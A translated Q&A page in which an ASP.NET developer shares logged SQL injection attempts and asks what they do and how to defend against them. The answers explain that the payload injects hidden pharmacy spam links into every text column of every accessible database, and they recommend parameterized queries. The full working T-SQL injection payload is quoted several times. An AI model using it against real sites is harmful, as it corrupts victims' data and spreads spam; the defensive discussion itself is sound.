有人试图破解我的网站

时间：2016-04-13 05:25:36

标签： c# asp.net sql-server

我在日志中捕获以下异常：

mt: 15867';declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in 
('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case 
ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''inderal 10mg ''+char(60)+''a href="http:''+char(47)+char(47)+''blog.coepd.com''+char(47)+''page''+char(47)+''Keflex-Pill"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.coepd.com'''' when 1 then ''''blog.coepd.com'''' else 
''''blog.coepd.com'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' viagra 25mg''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in 
(2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--<br/>    sess: 2&lt

黑客攻击从此时开始;宣告并完成 - 。我的所有Sql查询都应该是参数化的，但如果没有，我需要消除这种威胁。

这里有什么最好的选择？我有一个特定的“网络”登录帐户的数据库。最小化此Web登录帐户凭据或拒绝特定sql对象的最佳做法是什么？

这个人试图做什么？这是另一次黑客攻击：

;declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into 
@w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''tadalafil 40mg ''+char(60)+''a 
href="http:''+char(47)+char(47)+''www.guitar-frets.com''+char(47)+''blog''+char(47)+''page''+char(47)+''synthroid-200mcg.aspx"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''levofloxacin 750mg'''' when 1 then ''''guitar-frets.com'''' else ''''guitar-frets.com'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' valacyclovir 
pill''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin 
exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--<br

这是我日志的快照。如果你从下到上看，你可以看到这个黑客正在尝试每个参数来注入他的代码。

enter image description here

2 个答案:

答案 0 :(得分：4)

正如其他人所说，使用参数化的SQL查询。

这是SQL格式：

DECLARE @b CURSOR; 
DECLARE @s VARCHAR(8000); 
DECLARE @w VARCHAR(99); 

SET @b=CURSOR 
FOR SELECT Db_name() 
    UNION 
    SELECT NAME 
    FROM   sys.databases 
    WHERE  ( Has_dbaccess(NAME) != 0 ) 
           AND NAME NOT IN ( 'master', 'tempdb', 'model', 'msdb', Db_name() ); 

OPEN @b; 

FETCH next FROM @b INTO @w; 

WHILE @@FETCH_STATUS = 0 
  BEGIN 
      SET @s='begin try use ' + @w 
             + 
';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case  ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''inderal 10mg ''+char(60)+''a href="http:''+char(47)+char(47)+''blog.coepd.com''+char(47)+''page''+char(47)+''Keflex-Pill"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''blog.coepd.com'''' when 1 then ''''blog.coepd.com'''' else  ''''blog.coepd.com'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' viagra 25mg''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in  (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch'
    ; 

    EXEC (@s); 

    FETCH next FROM @b INTO @w; 
END; 

CLOSE @b--<br/>    sess: 2<

内部查询：

; 
DECLARE @c 
CURSOR;DECLARE @d VARCHAR(4000);SET @c= 
  CURSOR FOR 
    SELECT ''UPDATE [''+TABLE_NAME+''] 
    SET    [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+ 
           CASE Abs(Checksum(Newid()))%10 
                  WHEN 0 THEN ''''''+Char(60)+''div style=&quot;DISPLAY:none&quot;''     +char(62)+''inderal 10mg ''+char(60)+''a href=&quot;HTTP:''+char(47)+char(47)+''blog.coepd.com''+char(47)+''page''+char(47)+''keflex-pill&quot;''     +char(62)+''''''+ 
           CASE abs(checksum(newid()))%3 
           WHEN 0 THEN 
             ''''blog.coepd.com'''' 
           WHEN 1 THEN 
             ''''blog.coepd.com'''' 
             ELSE ''''blog.coepd.com'''' 
           END 
           +''''''+char(60)+char(47)+''a''+char(62)+'' viagra 25mg''+char(60)+char(47)+''div''+char(62)+''''''
           ELSE '''''''' 
         END 
         '' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN information_schema.columns ON o.NAME=table_name WHERE(
           indid IN (0, 
                     1) 
         ) 
         AND 
         data_type LIKE ''%varchar'' 
         AND 
         ( 
           character_maximum_length IN (2147483647, 
                                        -1) 
         );OPEN @c;FETCH next 
         FROM  @c 
         INTO  @d;WHILE @@FETCH_STATUS=0 
         BEGIN 
           EXEC (@d); 
           FETCH next 
           FROM  @c 
           INTO  @d; 

         END;CLOSE @c 
       end tryBEGIN catch 
       END catch

他们基本上是在尝试更新所有数据库和表中的所有文本列。

所以这只是一个垃圾邮件脚本试图宣传一些神奇的药片。

答案 1 :(得分：1)

开始阻止IP将是一个开始的地方，并确保所有输入都被转义等。如果一切都正确转义，我的意思是使用数据库推荐的任何东西，而不是你在stackoverflow上找到的正则表达式:)那么几乎没有机会SQL注入。

确保他们正在做的不是攻击第三方库，即它可能不是您的代码，他们正在攻击它可能是您正在使用的公共库的已知漏洞。

如果不会发生SQL注入，他们可能会尝试使用DOS / DDOS或其他东西来破坏您的网站。大多数网站都没有办法减轻严重的DDOS尝试，但是如果你开始阻止IP，那么黑客可能会很快意识到她正在寻找并继续前进。

我假设对后端系统的访问是安全的，即在具有良好密码策略等的VPN中。

相关问题
最新问题